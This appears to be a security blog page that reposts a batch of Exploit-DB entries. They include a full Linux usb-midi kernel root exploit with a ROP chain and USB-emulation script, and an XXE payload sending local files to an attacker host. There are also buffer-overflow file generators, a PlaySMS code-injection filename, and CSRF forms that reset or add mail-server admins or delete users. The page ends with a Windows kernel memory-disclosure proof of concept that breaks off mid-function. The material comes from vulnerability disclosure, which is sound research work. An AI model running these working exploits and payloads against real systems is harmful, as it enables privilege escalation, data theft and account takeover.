Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863532680

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://xairy.github.io/blog/2016/cve-2016-2384
Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384
Source: https://www.youtube.com/watch?v=lfl1NJn1nvo

Exploit-DB Note: This requires physical access to the machine, as well as local access on the system.

- - - 

This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).

The vulnerability can be exploited in two ways:

- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).

- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.

A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).

It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.

The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).


--- poc.c ---
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
// driver. Meant to be used in conjuction with a hardware usb emulator, which
// emulates a particular malicious usb device (a Facedancer21 for example).
//
// Andrey Konovalov <andreyknvl@gmail.com>
//
// Usage:
//    // Edit source to set addresses of the kernel symbols and the ROP gadgets.
//    $ gcc poc.c -masm=intel
//    // Run N instances of the binary with the argument increasing from 0 to N,
//    // where N is the number of cpus on your machine.
//    $ ./a.out 0 & ./a.out 1 & ...
//    [+] starting as: uid=1000, euid=1000
//    [+] payload addr: 0x400b60
//    [+] fake stack mmaped
//    [+] plug in the usb device...
//    // Now plug in the device a few times.
//    // In one of the instances you will get (if the kernel doesn't crash):
//    [+] got r00t: uid=0, euid=0
//    # id
//    uid=0(root) gid=0(root) groups=0(root)

#define _GNU_SOURCE

#include <netinet/ip.h>

#include <assert.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#include <arpa/inet.h>

// You need to set these based on your kernel.
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
// is to boot your kernel and grep /proc/kallsyms for them.
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
// Note that all of the used gadgets must preserve the initial value of the rbp
// register, since this value is used later on to restore rsp.
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.

#define COMMIT_CREDS              0xffffffff810957e0L
#define PREPARE_KERNEL_CRED       0xffffffff81095ae0L

#define XCHG_EAX_ESP_RET          0xffffffff8100008aL

#define POP_RDI_RET               0xffffffff8118991dL
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
#define MOV_CR4_RDI_RET           0xffffffff8105b8f0L
#define POP_RCX_RET               0xffffffff810053bcL
#define JMP_RCX                   0xffffffff81040a90L

#define CR4_DESIRED_VALUE         0x407f0

// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
// disables SMEP, restores rsp, obtains root, jumps back to the caller.

#define CHAIN_SAVE_EAX                  \
  *stack++ = POP_RDI_RET;               \
  *stack++ = (uint64_t)&saved_eax;      \
  *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define CHAIN_SET_CR4                   \
  *stack++ = POP_RDI_RET;               \
  *stack++ = CR4_DESIRED_VALUE;         \
  *stack++ = MOV_CR4_RDI_RET;           \

#define CHAIN_JMP_PAYLOAD               \
  *stack++ = POP_RCX_RET;               \
  *stack++ = (uint64_t)&payload;        \
  *stack++ = JMP_RCX;                   \

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
  commit_creds(prepare_kernel_cred(0));
}

uint64_t saved_eax;

// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
  asm volatile ("                         \n\
    payload:                              \n\
      movq %%rbp, %%rax                   \n\
      movq $0xffffffff00000000, %%rdx     \n\
      andq %%rdx, %%rax                   \n\
      movq %0, %%rdx                      \n\
      addq %%rdx, %%rax                   \n\
      movq %%rax, %%rsp                   \n\
      jmp get_root                        \n\
  " : : "m"(saved_eax) : );
}

void payload();

// Kernel structs.

struct ubuf_info {
  uint64_t callback;        // void (*callback)(struct ubuf_info *, bool)
  uint64_t ctx;             // void *
  uint64_t desc;            // unsigned long
};

struct skb_shared_info {
  uint8_t  nr_frags;        // unsigned char
  uint8_t  tx_flags;        // __u8
  uint16_t gso_size;        // unsigned short
  uint16_t gso_segs;        // unsigned short
  uint16_t gso_type;        // unsigned short
  uint64_t frag_list;       // struct sk_buff *
  uint64_t hwtstamps;       // struct skb_shared_hwtstamps
  uint32_t tskey;           // u32
  uint32_t ip6_frag_id;     // __be32
  uint32_t dataref;         // atomic_t
  uint64_t destructor_arg;  // void *
  uint8_t  frags[16][17];   // skb_frag_t frags[MAX_SKB_FRAGS];
};

#define MIDI_MAX_ENDPOINTS 2

struct snd_usb_midi {
  uint8_t bullshit[240];

  struct snd_usb_midi_endpoint {
    uint64_t out;           // struct snd_usb_midi_out_endpoint *
    uint64_t in;            // struct snd_usb_midi_in_endpoint *
  } endpoints[MIDI_MAX_ENDPOINTS];

  // More bullshit.
};

// Init buffer for overwriting a skbuff object.

struct ubuf_info ui;

void init_buffer(char* buffer) {
  struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192];
  struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0];
  int i;

  ssi->tx_flags = 0xff;
  ssi->destructor_arg = (uint64_t)&ui;
  ui.callback = XCHG_EAX_ESP_RET;

  // Prevents some crashes.
  ssi->nr_frags = 0;

  // Prevents some crashes.
  ssi->frag_list = 0;

  // Prevents some crashes.
  for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) {
    midi->endpoints[i].out = 0;
    midi->endpoints[i].in = 0;
  }
}

// Map a fake stack where the ROP payload resides.

void mmap_stack() {
  uint64_t stack_addr;
  int stack_offset;
  uint64_t* stack;
  int page_size;

  page_size = getpagesize();

  stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1);
  stack_offset = XCHG_EAX_ESP_RET % page_size;

  stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE,
      MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  if (stack == MAP_FAILED) {
    perror("[-] mmap()");
    exit(EXIT_FAILURE);
  }

  stack = (uint64_t *)((char *)stack + stack_offset);

  CHAIN_SAVE_EAX;
  CHAIN_SET_CR4;
  CHAIN_JMP_PAYLOAD;
}

// Sending control messages.

int socket_open(int port) {
  int sock;
  struct sockaddr_in sa;

  sock = socket(AF_INET, SOCK_DGRAM, 0);
  if (sock == -1) {
    perror("[-] socket()");
    exit(EXIT_FAILURE);
  }

  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  sa.sin_port = htons(port);
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
    perror("[-] connect()");
    exit(EXIT_FAILURE);
  }

  return sock;
}

void socket_close(int sock) {
  close(sock);
}

void socket_sendmmsg(int sock) {
  struct mmsghdr msg[1];
  struct iovec msg2;
  int rv;
  char buffer[512];

  memset(&msg2, 0, sizeof(msg2));
  msg2.iov_base = &buffer[0];
  msg2.iov_len = 512;

  memset(msg, 0, sizeof(msg));
  msg[0].msg_hdr.msg_iov = &msg2;
  msg[0].msg_hdr.msg_iovlen = 1;

  memset(&buffer[0], 0xa1, 512);

  struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0];
  hdr->cmsg_len = 512;
  hdr->cmsg_level = SOL_IP + 1;

  init_buffer(&buffer[0]);

  msg[0].msg_hdr.msg_control = &buffer[0];
  msg[0].msg_hdr.msg_controllen = 512;

  rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
  if (rv == -1) {
    perror("[-] sendmmsg()");
    exit(EXIT_FAILURE);
  }
}

// Allocating and freeing skbuffs.

struct sockaddr_in server_si_self;

struct sockaddr_in client_si_other;

int init_server(int port) {
  int sock;
  int rv;

  sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (sock == -1) {
    perror("[-] socket()");
    exit(EXIT_FAILURE);
  }

  memset(&server_si_self, 0, sizeof(server_si_self));
  server_si_self.sin_family = AF_INET;
  server_si_self.sin_port = htons(port);
  server_si_self.sin_addr.s_addr = htonl(INADDR_ANY);

  rv = bind(sock, (struct sockaddr *)&server_si_self,
      sizeof(server_si_self));
  if (rv == -1) {
    perror("[-] bind()");
    exit(EXIT_FAILURE);
  }

  return sock;
}

int init_client(int port) {
  int sock;
  int rv;

  sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (sock == -1) {
    perror("[-] socket()");
    exit(EXIT_FAILURE);
  }

  memset(&client_si_other, 0, sizeof(client_si_other));
  client_si_other.sin_family = AF_INET;
  client_si_other.sin_port = htons(port);

  rv = inet_aton("127.0.0.1", &client_si_other.sin_addr);
  if (rv == 0) {
    perror("[-] inet_aton()");
    exit(EXIT_FAILURE);
  }

  return sock;
}

void client_send_message(int sock) {
  int rv;
  // Messages of 128 bytes result in 512 bytes skbuffs.
  char sent_message[128] = { 0x10 };

  rv = sendto(sock, &sent_message[0], 128, 0,
    (struct sockaddr *)&client_si_other,
    sizeof(client_si_other));
  if (rv == -1) {
    perror("[-] sendto()");
    exit(EXIT_FAILURE);
  }
}

void destroy_server(int sock) {
  close(sock);
}

void destroy_client(int sock) {
  close(sock);
}

// Checking root.

void exec_shell() {
  char *args[] = {"/bin/sh", "-i", NULL};
  execve("/bin/sh", args, NULL);
}

void fork_shell() {
  pid_t rv;

  rv = fork();
  if (rv == -1) {
    perror("[-] fork()");
    exit(EXIT_FAILURE);
  }

  if (rv == 0) {
    exec_shell();
  }

  while (true) {
    sleep(1);
  }
}

bool is_root() {
  return getuid() == 0;
}

void check_root() {
  if (!is_root())
    return;

  printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid());

  // Fork and exec instead of just doing the exec to avoid freeing skbuffs
  // and prevent some crashes due to a allocator corruption.
  fork_shell();
}

// Main.

#define PORT_BASE_1 4100
#define PORT_BASE_2 4200
#define PORT_BASE_3 4300

#define SKBUFFS_NUM 64
#define MMSGS_NUM 256

int server_sock;
int client_sock;

void step_begin(int id) {
  int i;

  server_sock = init_server(PORT_BASE_2 + id);
  client_sock = init_client(PORT_BASE_2 + id);

  for (i = 0; i < SKBUFFS_NUM; i++) {
    client_send_message(client_sock);
  }

  for (i = 0; i < MMSGS_NUM; i++) {
    int sock = socket_open(PORT_BASE_3 + id);
    socket_sendmmsg(sock);
    socket_close(sock);
  }
}

void step_end(int id) {
  destroy_server(server_sock);
  destroy_client(client_sock);
}

void body(int id) {
  int server_sock, client_sock, i;

  server_sock = init_server(PORT_BASE_1 + id);
  client_sock = init_client(PORT_BASE_1 + id);

  for (i = 0; i < 512; i++)
    client_send_message(client_sock);

  while (true) {
    step_begin(id);
    check_root();
    step_end(id);
  }
}

bool parse_int(const char *input, int *output) {
  char* wrong_token = NULL;
  int result = strtol(input, &wrong_token, 10);
  if (*wrong_token != '\0') {
    return false;
  }
  *output = result;
  return true;
}

int main(int argc, char **argv) {
  bool rv;
  int id;

  if (argc != 2) {
    printf("Usage: %s <instance_id>\n", argv[0]);
    return EXIT_SUCCESS;
  }

  rv = parse_int(argv[1], &id);
  if (!rv) {
    printf("Usage: %s <instance_id>\n", argv[0]);
    return EXIT_SUCCESS;
  }

  printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid());

  printf("[+] payload addr: %p\n", &payload);

  mmap_stack();
  printf("[+] fake stack mmaped\n");

  printf("[+] plug in the usb device...\n");

  body(id);

  return EXIT_SUCCESS;
}
--- EOF ---


---poc.py---
#!/usr/bin/env python3

# A part of the proof-of-concept exploit for the vulnerability in the usb-midi
# driver. Can be used on it's own for a denial of service attack. Should be
# used in conjuction with a userspace part for an arbitrary code execution
# attack.
#
# Requires a Facedancer21 board
# (http://goodfet.sourceforge.net/hardware/facedancer21/).
#
# Andrey Konovalov <anreyknvl@gmail.com>

from USB import *
from USBDevice import *
from USBConfiguration import *
from USBInterface import *

class PwnUSBDevice(USBDevice):
    name = "USB device"

    def __init__(self, maxusb_app, verbose=0):
        interface = USBInterface(
                0,                      # interface number
                0,                      # alternate setting
                255,                    # interface class
                0,                      # subclass
                0,                      # protocol
                0,                      # string index
                verbose,
                [],
                {}
        )

        config = USBConfiguration(
                1,                      # index
                "Emulated Device",      # string desc
                [ interface ]           # interfaces
        )

        USBDevice.__init__(
                self,
                maxusb_app,
                0,                      # device class
                0,                      # device subclass
                0,                      # protocol release number
                64,                     # max packet size for endpoint 0
                0x0763,                 # vendor id
                0x1002,                 # product id
                0,                      # device revision
                "Midiman",              # manufacturer string
                "MidiSport 2x2",        # product string
                "?",                    # serial number string
                [ config ],
                verbose=verbose
        )

from Facedancer import *
from MAXUSBApp import *

sp = GoodFETSerialPort()
fd = Facedancer(sp, verbose=1)
u = MAXUSBApp(fd, verbose=1)

d = PwnUSBDevice(u, verbose=4)

d.connect()

try:
    d.run()
except KeyboardInterrupt:
    d.disconnect()
---EOF---
            
[+] Exploit Title: Dive Assistant - Template Builder XXE Injection
[+] Date: 12-05-2017
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://www.blackwave.com/
[+] Software Link: http://www.diveassistant.com/Products/DiveAssistantDesktop/index.aspx
[+] Version: 8.0
[+] Tested on: Windows 7 SP1, Windows 10
[+] CVE: CVE-2017-8918

1. Vulnerability Description

Dive Assistant - Desktop Edition comes with a template builder .exe to create print templates.  The templates are saved and uploaded as XML files which are vulnerable to XXE injection.  Sending a crafted payload to a user, when opened in Dive Assistant - Template Builder, will return the content of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on attacker's IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:9999?%file;'>">

%all;

c.) Exploited "template.xml"

<?xml version="1.0"?
<!DOCTYPE exploit [
<!ENTITY % file SYSTEM "C:\Windows\System.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:9999?%file;'>">
%dtd;]>
<exploit>&send;</exploit>
            
#!/usr/bin/python
# Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date              : 14/05/2017
# Exploit Author    : Muhann4d
# CVE				: CVE-2017-8927
# Vendor Homepage   : http://www.cgmlarson.com/
# Software Link     : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5

# Vendor has been cantacted but no reply

buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
            
#!/usr/bin/python
# Exploit Title     : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
# Date              : 2017-05-14
# Exploit Author    : Muhann4d
# CVE               : CVE-2017-8926
# Vendor Homepage   : http://www.halliburton.com
# Software Link     : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
# Affected Versions : 10.0.1   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1

# Vendor has been cantacted but no reply.

buf = "\x41" * 848
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
            
# Exploit Title: PlaySMS 1.4 Code Execution using $filename and Unrestricted File Upload in sendfromfile.php
# Date: 14-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   
Unrestricted File Upload: 
	Any registered user can upload any file because of not proper Validation of file in sendfromfile.php

Code Execution using $filename 
	Now We know sendfromfile.php accept any file extension and just read content not stored in server. But there is bug when user upload example: mybackdoor.php server accept happily  but not store in any folder so our shell is useless. But if User change the file name to "mybackdoor.php" to "<?php system('uname -a'); dia();?>.php"  den server check for file and set some perameter $filename="<?php system('uname -a'); dia();?>.php" , U can see code below and display $filename on page.

 For More Details : www.touhidshaikh.com/blog/
   
2. Proof of Concept
 
Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_sendfromfile&op=list
 

 This is Form.
----------------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_sendfromfile&op=upload_confirm\" enctype=\"multipart/form-data\" method=\"post\">
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file') . "</p>
<p><input type=\"file\" name=\"fncsv\"></p>
<p class=help-block>" . _('CSV file format') . " : " . $info_format . "</p>
<p><input type=checkbox name=fncsv_dup value=1 checked> " . _('Prevent duplicates') . "</p>
<p><input type=\"submit\" value=\"" . _('Upload file') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------


-------------PHP code for set parameter ---------------------------

	case 'upload_confirm':
		$filename = $_FILES['fncsv']['name'];

------------------------------php code ends ---------------------------


$filename will be visible on page:
----------------------Vulnerable perameter show ----------------------

line 123 : $content .= _('Uploaded file') . ': ' . $filename . '<p />';

----------------------------------------------------------------------
 
            
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mailcow.email
mailcow.github.io



Product:
===========
The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.



Vulnerability Type:
===================
CSRF
Password Reset / Add Admin / Delete Domains



CVE Reference:
==============
CVE-2017-8928



Security Issue:
================
mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage
remote attackers can execute the following exploits.


1) reset admin password
2) add arbitrary admin
3) delete domains



Other issues found in mailcow are as follows:

Session fixation:
=================
Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.

ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication
ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication


World Readable Private key "key.pem"
====================================
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami

john

john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem 

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF
4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok
mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx
s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu
5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o
slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt
pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ

etc...


References:
============
https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd



Exploit/POC:
=============

[Admin Password Reset]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="admin_user_now" value="admin">
<input type="hidden" name="admin_user" value="admin">
<input type="hidden" name="admin_pass" value="Abc12345">
<input type="hidden" name="admin_pass2" value="Abc12345">
<input type="hidden" name="trigger_set_admin" value="">
<script>document.forms[0].submit()</script>
</form>


HTTP Response:

'Changes to administrator have been saved"

//////////////////////


[Add Admin]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="username" value="HELL">
<input type="hidden" name="password" value="Abc12345">
<input type="hidden" name="password2" value="Abc12345">
<input type="hidden" name="active" value="on">
<input type="hidden" name="trigger_add_domain_admin" value="localhost">
<script>document.forms[0].submit()</script>
</form>


////////////////////


[Delete domains]

https://localhost/mailbox.php
domain=myDomain&trigger_mailbox_action=deletedomain



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=================================
Vendor Notification:  May 6, 2017
Vendor releases fix:  May 6, 2017
May 14, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: 
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382


[Suggested description]
Admidio 3.2.8 has CSRF in 
adm_program/modules/members/members_function.php with
  an impact of deleting arbitrary user accounts.

  ------------------------------------------

  [Additional Information]
  Using this crafted html form we are able to delete any user with 
admin/user privilege.

  <html>
    <body onload="javascript:document.forms[0].submit()">
      <form 
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
        <input type="hidden" name="usr&#95;id" value='9' />
        <input type="hidden" name="mode" value="3" />
        </form>
    </body>
  </html>

[Affected Component]
  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php

  ------------------------------------------

  [Attack Type]
  Remote

  ------------------------------------------

  [Impact Escalation of Privileges]
  true

  ------------------------------------------

  [Attack Vectors]
  Steps:
  1.) If an user with admin privilege opens a crafted
  html/JPEG(Image),then both the admin and users with user privilege
  which are mentioned by the user id (as like shown below) in the
  crafted request are deleted.

   <input type="hidden" name="usr&#95;id" value='3' />

  2.) In admidio by default the userid starts from '0',
  '1' for system '2' for users, so an attacker
  can start from '2' upto 'n' users.

  3.)For deleting the user permanently we select 'mode=3'(as like shown
  below),then all admin/low privileged users are deleted.

   <input type="hidden" name="mode" value="3" />

  ------------------------------------------

  [Reference]
  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Thanks
Faiz Ahmed Zaidi
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1145

We have observed (on Windows 7 32-bit) that for unclear reasons, the kernel-mode structure containing the default DACL of system processes' tokens (lsass.exe, services.exe, ...) has 8 uninitialized bytes at the end, as the size of the structure (ACL.AclSize) is larger than the sum of ACE lengths (ACE_HEADER.AceSize). It is possible to read the leftover pool data using a GetTokenInformation(TokenDefaultDacl) call.

When the attached proof-of-concept code is run against a SYSTEM process (pid of the process must be passed in the program argument), on a system with Special Pools enabled for ntoskrnl.exe, output similar to the following can be observed:

>NtQueryInformationToken.exe 520
00000000: 54 bf 2b 00 02 00 3c 00 02 00 00 00 00 00 14 00 T.+...<.........
00000010: 00 00 00 10 01 01 00 00 00 00 00 05 12 00 00 00 ................
00000020: 00 00 18 00 00 00 02 a0 01 02 00 00 00 00 00 05 ................
00000030: 20 00 00 00 20 02 00 00[01 01 01 01 01 01 01 01] ... ...........

The last eight 0x01 bytes are markers inserted by Special Pools, which visibly haven't been overwritten by any actual data prior to being returned to user-mode.

While reading DACLs of system processes may require special privileges (such as the ability to acquire SeDebugPrivilege), the root cause of the behavior could potentially make it possible to also create uninitialized DACLs that are easily accessible by regular users. This could in turn lead to a typical kernel memory disclosure condition, which would allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. Since it's not clear to us what causes the abberant behavior, we're reporting it for further analysis to be on the safe side.

The proof-of-concept code is mostly based on the example at https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege.
*/

#define RTN_OK 0
#define RTN_USAGE 1
#define RTN_ERROR 13

#include <windows.h>
#include <stdio.h>

BOOL SetPrivilege(
  HANDLE hToken,          // token handle
  LPCTSTR Privilege,      // Privilege to enable/disable
  BOOL bEnablePrivilege   // TRUE to enable.  FALSE to disable
  );

void DisplayError(LPTSTR szAPI);
VOID PrintHex(PBYTE Data, ULONG dwBytes);

int main(int argc, char *argv[])
{
  HANDLE hProcess;
  HANDLE hToken;
  int dwRetVal = RTN_OK; // assume success from main()

  // show correct usage for kill
  if (argc != 2)
  {
    fprintf(stderr, "Usage: %s [ProcessId]\n", argv[0]);
    return RTN_USAGE;
  }

  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
  {
    if (GetLastError() == ERROR_NO_TOKEN)
    {
      if (!ImpersonateSelf(SecurityImpersonation))
        return RTN_ERROR;

      if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){
        DisplayError(L"OpenThreadToken");
        return RTN_ERROR;
      }
    }
    else
      return RTN_ERROR;
  }

  // enable SeDebugPrivilege
  if (!SetPrivilege(hToken, SE_DEBUG_NAME, TRUE))
  {
    DisplayError(L"SetPrivilege");

    // close token handle
    CloseHandle(hToken);

    // indicate failure
    return RTN_ERROR;
  }
  
  CloseHandle(hToken);

  // open the process
  if ((hProcess = OpenProcess(
    PROCESS_QUERY_INFORMATION,
    FALSE,
    atoi(argv[1]) // PID from commandline
    )) == NULL)
  {
    DisplayError(L"OpenProcess");
    return RTN_ERROR;
  }

  // Open process token.
  if (!OpenProcessToken(hProcess, TOKEN_READ, &hToken)) {
    DisplayError(L"OpenProcessToken");
    return RTN_ERROR;
  }

  DWORD ReturnLength = 0;
  if (!GetTokenInformation(hToken, TokenDefaultDacl, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
    DisplayError(L"GetTokenInformation #1");
    return RTN_ERROR;
  }

  PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
  if (!GetTokenInformation(hToken, TokenDefaultDacl, OutputBuffer, ReturnLength, &ReturnLength)) {
    DisplayError(L"GetTokenInformation #2");
    return RTN_ERROR;
  }

  PrintHex(OutputBuffer, ReturnLength);

  // close handles
  HeapFree(GetProcessHeap(), 0, OutputBuffer);
  CloseHandle(hProcess);

  return dwRetVal;
}

BOOL SetPrivilege(
  HANDLE hToken,          // token handle
  LPCTSTR Privilege,      // Privilege to enable/disable
  BOOL bEnablePrivilege   // TRUE to enable.  FALSE to disable
  )
{
  TOKEN_PRIVILEGES tp;
  LUID luid;
  TOKEN_PRIVILEGES tpPrevious;
  DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);

  if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;

  // 
  // first pass.  get current privilege setting
  // 
  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = 0;

  AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tp,
